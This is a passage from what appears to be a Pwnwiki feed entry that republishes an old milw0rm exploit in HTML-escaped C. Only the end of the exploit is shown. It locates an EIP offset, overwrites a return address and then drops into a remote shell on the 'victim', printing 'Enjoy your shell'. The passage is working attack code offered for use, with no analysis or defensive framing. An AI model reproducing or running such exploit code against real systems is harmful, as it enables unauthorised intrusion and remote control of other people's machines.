		eipoff);&lt;br /&gt;
&lt;br /&gt;
	if ((retoff = findeip(eipoff, align)) &amp;lt; 0)&lt;br /&gt;
	{&lt;br /&gt;
		(void)fprintf(stderr, &amp;quot;\nError finding offset. Adjust&amp;quot;&lt;br /&gt;
			&amp;quot; align.\n&amp;quot;);&lt;br /&gt;
		exit(1);&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	if (overwrite(ret, retoff, align, retloc, eipoff) &amp;lt; 0)&lt;br /&gt;
	{&lt;br /&gt;
		(void)fprintf(stderr, &amp;quot;Error overwriting RET addr.\n&amp;quot;);&lt;br /&gt;
		exit(1);&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	fprintf(stderr, &amp;quot;Wait up to few minutes for reply. It depends on &amp;quot;&lt;br /&gt;
			&amp;quot;victim's CPU speed.\nEnjoy your shell.\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
	sh(fd);&lt;br /&gt;
&lt;br /&gt;
	exit(0);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
// milw0rm.com [2000-11-21]&lt;br /&gt;
            &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>